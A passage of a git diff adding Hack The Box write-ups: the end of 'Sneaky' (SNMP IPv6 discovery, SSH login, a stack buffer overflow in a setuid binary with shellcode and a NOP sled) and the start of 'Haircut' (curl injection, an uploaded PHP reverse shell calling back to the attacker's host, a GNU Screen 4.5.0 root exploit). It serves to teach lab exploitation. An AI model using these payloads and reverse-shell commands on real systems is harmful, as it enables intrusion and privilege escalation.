iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.185.156.200 = INTEGER: 2 + + +The ipv6 we need is right here : **222.173.190.239.0.0.0.0.2.80.86.255.254.185.156.200** , but it is in decimal format, we need to turn it into HEX format. The easy way would be with the snmp-mibs-downloader automatic conversion. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → sudo apt install snmp-mibs-downloader + + λ root [ 10.10.14.20/23 ] [nihilist/_HTB/Sneaky] + → nano /etc/snmp/snmp.conf + + +now that we commented the line we wanted in the config, we can snmp walk again but this time getting the actual ipv6 in HEX format we want. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → snmpwalk -v2c -c public 10.10.10.20 > snmp-v6 + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → nano snmp-v6 + + +Looking at the results, we see that we have the ipv6 we need : + +![](prg/7_003.png) + + + de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:9c:c8 + + +Now to enumerate ipv6 , we can just use [trickster0's ipv6 enumeration tool](https://github.com/trickster0/Enyx) : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → git clone https://github.com/trickster0/Enyx + Cloning into 'Enyx'... + remote: Enumerating objects: 73, done. + remote: Total 73 (delta 0), reused 0 (delta 0), pack-reused 73 + Unpacking objects: 100% (73/73), 1.36 MiB | 1.53 MiB/s, done. + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → cd Enyx + + +But let's not forget that we need to disable mibs for it to work : + + + λ root [ 10.10.14.20/23 ] [_HTB/Sneaky/Enyx] at  master ✔ + → nano /etc/snmp/snmp.conf [8267b66] + + λ root [ 10.10.14.20/23 ] [_HTB/Sneaky/Enyx] at  master ✔ + → exit [8267b66] + + λ nihilist [ 10.10.14.20/23 ] [_HTB/Sneaky/Enyx] at  master ✔ + → python enyx.py 2c public 10.10.10.20 [8267b66] + ################################################################################### + # # + # ####### ## # # # # # # + # # # # # # # # # # + # ###### # # # ## ## # + # # # # # ## # # # + # ###### # ## ## # # # + # # + # SNMP IPv6 Enumerator Tool # + # # + # Author: Thanasis Tserpelis aka Trickster0 # + # # + ################################################################################### + + + [+] Snmpwalk found. + [+] Grabbing IPv6. + [+] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001 + [+] Unique-Local -> dead:beef:0000:0000:0250:56ff:feb9:9cc8 + [+] Link Local -> fe80:0000:0000:0000:0250:56ff:feb9:9cc8 + + +so now that we have the private sshkey, and the ipv6 format, let's try to login via ssh. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → ssh -i pkey thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:9cc8 + The authenticity of host 'dead:beef::250:56ff:feb9:9cc8 (dead:beef::250:56ff:feb9:9cc8)' can't be established. + ECDSA key fingerprint is SHA256:KCwXgk+ryPhJU+UhxyHAO16VCRFrty3aLPWPSkq/E2o. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'dead:beef::250:56ff:feb9:9cc8' (ECDSA) to the list of known hosts. + Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686) + + * Documentation: https://help.ubuntu.com/ + + System information as of Sat Feb 22 16:00:36 EET 2020 + + System load: 0.0 Memory usage: 4% Processes: 176 + Usage of /: 9.9% of 18.58GB Swap usage: 0% Users logged in: 0 + + Graph this data and manage this system at: + https://landscape.canonical.com/ + + Your Hardware Enablement Stack (HWE) is supported until April 2019. + Last login: Sun May 14 20:22:53 2017 from dead:beef:1::1077 + thrasivoulos@Sneaky:~$ cat /home/thrasivoulos/user.txt + 9fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to login as the user thrasivoulos and print out his user.txt file. + +## **Part 3 : Getting Root Access** + +To privesc we print out the files that have the 4000 permissions , piping the errors to /dev/null : + + + thrasivoulos@Sneaky:~$ find / -perm -4000 2>/dev/null + /bin/umount + /bin/su + /bin/mount + /bin/ping6 + /bin/fusermount + /bin/ping + /usr/local/bin/chal + /usr/sbin/uuidd + /usr/sbin/pppd + /usr/bin/at + /usr/bin/pkexec + /usr/bin/traceroute6.iputils + /usr/bin/chsh + /usr/bin/gpasswd + /usr/bin/passwd + /usr/bin/mtr + /usr/bin/newgrp + /usr/bin/sudo + /usr/bin/chfn + /usr/lib/dbus-1.0/dbus-daemon-launch-helper + /usr/lib/openssh/ssh-keysign + /usr/lib/policykit-1/polkit-agent-helper-1 + /usr/lib/eject/dmcrypt-get-device + + thrasivoulos@Sneaky:~$ file /usr/local/bin/chal + /usr/local/bin/chal: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=fc8ad06fcfafe1fbc2dbaa1a65222d685b047b11, not stripped + + +In there, we get /usr/local/bin/chal whih is an ELF 32bit LSB executable, which contains a buffer overflow vulnerability. let's copy it locally : + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → nc -lvnp 9003 > chal.b64 + listening on [any] 9003 ... + + + +` _Terminal 2:_ + + + thrasivoulos@Sneaky:~$ base64 /usr/local/bin/chal | nc 10.10.14.20 9003 + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → nc -lvnp 9003 > chal.b64 + listening on [any] 9003 ... + connect to [10.10.14.20] from (UNKNOWN) [10.10.10.20] 60520 + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → cat chal.b64 | base64 -d > chal + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → file chal + chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fc8ad06fcfafe1fbc2dbaa1a65222d685b047b11, not stripped + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → checksec chal + [*] '/home/nihilist/_HTB/Sneaky/chal' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX disabled + PIE: No PIE (0x8048000) + RWX: Has RWX segments + + +So we successfully copied it locally using netcat, and running checksec on it we see that NX is disabled, which makes exploiting this binary very easy although we note that it is a 32bit binary, so we need to execute it either in a VM or on the sneaky machine. So let's do the latter : + + + thrasivoulos@Sneaky:~$ which gdb + /usr/bin/gdb + + +and we even have gdb on the box so that will make the task even easier : + + + thrasivoulos@Sneaky:~$ /usr/local/bin/chal + Segmentation fault (core dumped) + thrasivoulos@Sneaky:~$ /usr/local/bin/chal AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + thrasivoulos@Sneaky:~$ /usr/local/bin/chal AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + Segmentation fault (core dumped) + + + +If we send nothing, seg fault, if we send too many characters, seg fault aswell, so we need to know where exactly it begins seg faulting. so we need a pattern : + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → locate pattern_create + /usr/bin/msf-pattern_create + /usr/share/metasploit-framework/tools/exploit/pattern_create.rb + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500 + Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq + + + + thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal + + (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq + The program being debugged has been started already. + Start it from the beginning? (y or n) y + + Starting program: /usr/local/bin/chal Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq + + Program received signal SIGSEGV, Segmentation fault. + 0x316d4130 + + +running the binary, within gdb, using our pattern we get a segfault at this address, which is a string somewhere in the arguement we just pasted in. Now let's see if we can find the offset : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x316d4130 + [*] Exact match at offset 362 + + +And we get a matching offset at 362, so that is our buffer space basically. From there, we can create an exploit to effectively privesc with the following [shellcode](https://www.exploit-db.com/shellcodes/46809) : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → nano nihilist.py + + + + buf_size=362 + shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + nop_sled="\x90"*(buf_size-len(shellcode)) + EIP=? + + payload= nop_sled + shellcode + EIP + + +Now looking at our python exploit, we are missing the EIP, to find that we can simply do the following : + + + (gdb) r $(python -c 'print "A"*400') + The program being debugged has been started already. + Start it from the beginning? (y or n) y + Starting program: /usr/local/bin/chal $(python -c 'print "A"*400') + + Program received signal SIGSEGV, Segmentation fault. + 0x41414141 in ?? () + (gdb) x/100x $esp + 0xbffff540: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff550: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff560: 0x08004141 0xb7fce000 0x00000000 0x00000000 + 0xbffff570: 0x00000000 0x4db2a18f 0x752d459f 0x00000000 + 0xbffff580: 0x00000000 0x00000000 0x00000002 0x08048320 + 0xbffff590: 0x00000000 0xb7ff24c0 0xb7e3ba09 0xb7fff000 + 0xbffff5a0: 0x00000002 0x08048320 0x00000000 0x08048341 + 0xbffff5b0: 0x0804841d 0x00000002 0xbffff5d4 0x08048450 + 0xbffff5c0: 0x080484c0 0xb7fed160 0xbffff5cc 0x0000001c + 0xbffff5d0: 0x00000002 0xbffff6fe 0xbffff712 0x00000000 + 0xbffff5e0: 0xbffff8a3 0xbffff8b4 0xbffff8c4 0xbffff8d8 + 0xbffff5f0: 0xbffff8fe 0xbffff911 0xbffff923 0xbffffe44 + 0xbffff600: 0xbffffe50 0xbffffeae 0xbffffeca 0xbffffed9 + 0xbffff610: 0xbffffef0 0xbfffff01 0xbfffff0a 0xbfffff22 + 0xbffff620: 0xbfffff2a 0xbfffff3f 0xbfffff87 0xbfffffa7 + 0xbffff630: 0xbfffffc6 0x00000000 0x00000020 0xb7fdccf0 + 0xbffff640: 0x00000021 0xb7fdc000 0x00000010 0x078bfbff + 0xbffff650: 0x00000006 0x00001000 0x00000011 0x00000064 + + (gdb) x/100x $esp-400 + 0xbffff3b0: 0xbffff3d2 0x00000000 0x00000000 0x08048441 + 0xbffff3c0: 0xbffff3d2 0xbffff712 0x0804821d 0xb7fffc24 + 0xbffff3d0: 0x414118fc 0x41414141 0x41414141 0x41414141 + 0xbffff3e0: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff3f0: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff400: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff410: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff420: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff430: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff440: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff450: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff460: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff470: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff480: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff490: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff4a0: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff4b0: 0x41414141 0x41414141 0x41414141 0x41414141 + 0xbffff4c0: 0x41414141 0x41414141 0x41414141 0x41414141 + + +So here we can see our eip is most probably at 0xbffff4c0 so we convert it to little endian accordingly : + + + uf_size=362 + shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + nop_sled="\x90"*(buf_size-len(shellcode)) + EIP="\xc0\xf4\xff\xbf" # 0xbffff4c0 + + payload= nop_sled + shellcode + EIP + print payload + + +Now heading back onto the machine, we try our exploit and see the output in gdb : + + + thrasivoulos@Sneaky:~$ vi exploit.py + thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python exploit.py) + Segmentation fault (core dumped) + + thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal + + (gdb) r $(python exploit.py) + Starting program: /usr/local/bin/chal $(python exploit.py) + + Program received signal SIGSEGV, Segmentation fault. + 0xbffff56c in ?? () + (gdb) x/100x $esp-500 + + + +Looking at where the nops are (0x90909090) we get a certain memory address : 0xbffff750 so we modify our EIP accordingly : + + + buf_size=362 + shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + nop_sled="\x90"*(buf_size-len(shellcode)) + EIP="\x50\xf7\xff\xbf" # 0xbffff750 + + payload= nop_sled + shellcode + EIP + print payload + + + + thrasivoulos@Sneaky:~$ rm exploit.py + thrasivoulos@Sneaky:~$ vi exploit.py + thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python exploit.py) + # id + uid=1000(thrasivoulos) gid=1000(thrasivoulos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos) + # cat /root/root.txt + c5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to privesc and print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/7_graph.png) + diff --git a/Medium/8.md b/Medium/8.md new file mode 100644 index 0000000..2b799f0 --- /dev/null +++ b/Medium/8.md @@ -0,0 +1,417 @@ +# Haircut Writeup + +![](img/8.png) + +## Introduction : + +Haircut is a medium Linux box released back in May 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -F 10.10.10.24 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 12:41 GMT + Nmap scan report for 10.10.10.24 + Host is up (0.10s latency). + Not shown: 98 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -sCV 10.10.10.24 -p22,80 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 12:48 GMT + Nmap scan report for 10.10.10.24 + Host is up (0.10s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA) + | 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA) + |_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519) + 80/tcp open http nginx 1.10.0 (Ubuntu) + |_http-server-header: nginx/1.10.0 (Ubuntu) + |_http-title: HTB Hairdresser + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up nginx 1.10.0 running on port 80, browsing there we find a simple webpage with one image on it, so we download it to see if we can find anything interesting on it, however before that, let's run a dirsearch scan to see if we can find any interesting directories : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → dirsearch -u http://10.10.10.24/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e html,txt,php,js,xml + + +While that runs, let's see if we can find anything interesting on that image on the webpage : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → wget http://10.10.10.24/bounce.jpg && exiftool bounce.jpg + --2020-02-24 13:02:32-- http://10.10.10.24/bounce.jpg + Connecting to 10.10.10.24:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 116637 (114K) [image/jpeg] + Saving to: ‘bounce.jpg’ + + bounce.jpg 100%[===============================================>] 113.90K 367KB/s in 0.3s + + 2020-02-24 13:02:33 (367 KB/s) - ‘bounce.jpg’ saved [116637/116637] + + ExifTool Version Number : 11.86 + File Name : bounce.jpg + Directory : . + File Size : 114 kB + File Modification Date/Time : 2017:05:15 09:58:51+01:00 + File Access Date/Time : 2020:02:24 13:02:33+00:00 + File Inode Change Date/Time : 2020:02:24 13:02:33+00:00 + File Permissions : rw-r--r-- + File Type : JPEG + File Type Extension : jpg + MIME Type : image/jpeg + JFIF Version : 1.01 + Resolution Unit : None + X Resolution : 1 + Y Resolution : 1 + Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90. + Image Width : 600 + Image Height : 804 + Encoding Process : Baseline DCT, Huffman coding + Bits Per Sample : 8 + Color Components : 3 + Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) + Image Size : 600x804 + Megapixels : 0.482 + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → file bounce.jpg + bounce.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 600x804, components 3 + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → steghide extract -sf bounce.jpg + Enter passphrase: + steghide: could not extract any data with that passphrase! + + +Looks like we're out of luck for that image for now. looking back at our dirsearch results, we find the test.html page which again just has a single image on it and nothing else. but we also have an exposed.php webpage. and looking at it's error messages, we see that it's using curl to find the webpage we request. + +![](prg/8_001.png) + +Let's see if we can get it to connect to us : + +![](prg/8_002.png) + + + Requesting Site... + % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 56 100 56 0 0 268 0 --:--:-- --:--:-- --:--:-- 267 + + nihilist's simpleHTTPServer running on port 1234 + + +And we can ! now that we know that it is running curl, and that it can reach to us, let's see if we can take this a little further by using what our dirsearch command found earlier : the /uploads/ directory, so we'll try uploading a file there : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → cp /home/nihilist/_HTB/Cronos/nihilist.php . + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → nano nihilist.php + + + + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.20/1234 0>&1'"); + ?****> + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → ls + bounce.jpg nihilist.html nihilist.php + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → python -m SimpleHTTPServer 9000 + Serving HTTP on 0.0.0.0 port 9000 ... + + + + -o /var/www/html/uploads/nihilist.php http://10.10.14.20:9000/nihilist.php + + +once uploaded, we just need to browse to our url , while having our netcat listener on port 1234. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → nc -lvnp 1234 + listening on [any] 1234 ... + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → curl http://10.10.10.24/uploads/nihilist.php + + + + connect to [10.10.14.20] from (UNKNOWN) [10.10.10.24] 34814 + bash: cannot set terminal process group (1202): Inappropriate ioctl for device + bash: no job control in this shell + + www-data@haircut:~/html/uploads$ cat /home/maria/Desktop/user.txt + cat /home/maria/Desktop/user.txt + 0bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +Getting our reverse shell, we have been able to print out the user flag in /home/maria/desktop/. + +## **Part 3 : Getting Root Access** + +Now from there, we have to somehow privesc to the root user so let's first check which files have the 4000 permissions, piping the errors to /dev/null. + + + www-data@haircut:/bin$ find / -perm -4000 2>/dev/null | xargs ls -la + find / -perm -4000 2>/dev/null | xargs ls -la + -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount + -rwsr-xr-x 1 root root 40152 Dec 16 2016 /bin/mount + -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g + -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping + -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 + -rwsr-xr-x 1 root root 40128 May 4 2017 /bin/su + -rwsr-xr-x 1 root root 27608 Dec 16 2016 /bin/umount + -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at + -rwsr-xr-x 1 root root 49584 May 4 2017 /usr/bin/chfn + -rwsr-xr-x 1 root root 40432 May 4 2017 /usr/bin/chsh + -rwsr-xr-x 1 root root 75304 May 4 2017 /usr/bin/gpasswd + -rwsr-xr-x 1 root root 32944 May 4 2017 /usr/bin/newgidmap + -rwsr-xr-x 1 root root 39904 May 4 2017 /usr/bin/newgrp + -rwsr-xr-x 1 root root 32944 May 4 2017 /usr/bin/newuidmap + -rwsr-xr-x 1 root root 54256 May 4 2017 /usr/bin/passwd + -rwsr-xr-x 1 root root 23376 Jan 18 2016 /usr/bin/pkexec + -rwsr-xr-x 1 root root 1588648 May 19 2017 /usr/bin/screen-4.5.0 + -rwsr-xr-x 1 root root 136808 Jan 20 2017 /usr/bin/sudo + -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper + -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device + -rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign + -rwsr-xr-x 1 root root 14864 Jan 18 2016 /usr/lib/policykit-1/polkit-agent-helper-1 + -rwsr-xr-x 1 root root 208680 Apr 29 2017 /usr/lib/snapd/snap-confine + -rwsr-xr-x 1 root root 38984 Mar 7 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic + + +And here, we see something interesting , we have /usr/bin/screen-4.5.0 which basically is an outdated version of GNU Screen which is vulnerable to a local bashscript exploit, as explained here : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → searchsploit screen 4.5 + ------------------------------------------------------- ------------------------------ + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------- ------------------------------ + GNU Screen 4.5.0 - Local Privilege Escalation | exploits/linux/local/41154.sh + GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | exploits/linux/local/41152.txt + ------------------------------------------------------- ------------------------------ + Shellcodes: No Result + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → locate 41152.txt + /usr/share/exploitdb/exploits/linux/local/41152.txt + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → cat /usr/share/exploitdb/exploits/linux/local/41152.txt + Commit f86a374 ("screen.c: adding permissions check for the logfile name", + 2015-11-04) + + The check opens the logfile with full root privileges. This allows us to + truncate any file or create a root-owned file with any contents in any + directory and can be easily exploited to full root access in several ways. + + + +So that's the explanation of the exploit, let's replicate each steps (that i purposefully cut out to demonstrate here) : + + + www-data@haircut:/bin$ screen --version + screen --version + Screen version 4.05.00 (GNU) 10-Dec-16 + + www-data@haircut:/bin$ cd /etc + cd /etc + + www-data@haircut:/etc$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + www-data@haircut:/etc$ screen -D -m -L bla.bla echo fail + screen -D -m -L bla.bla echo fail + + www-data@haircut:/etc$ ls -l bla.bla + ls -l bla.bla + -rw-r--r-- 1 root www-data 0 Feb 24 14:54 bla.bla + + +and we've been able to create a file owned by root. Now let's look at the other exploit our searchsploit command found earlier : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → locate 41154.sh + /usr/share/exploitdb/exploits/linux/local/41154.sh + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → cp /usr/share/exploitdb/exploits/linux/local/41154.sh . + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → ls + 41154.sh bounce.jpg nihilist.html nihilist.php + + +now looking at the bashscript we just copied, we need to create 2 files : rootshell.c and libhax.c + + + λ nihilist [ 10.10.14.20/23 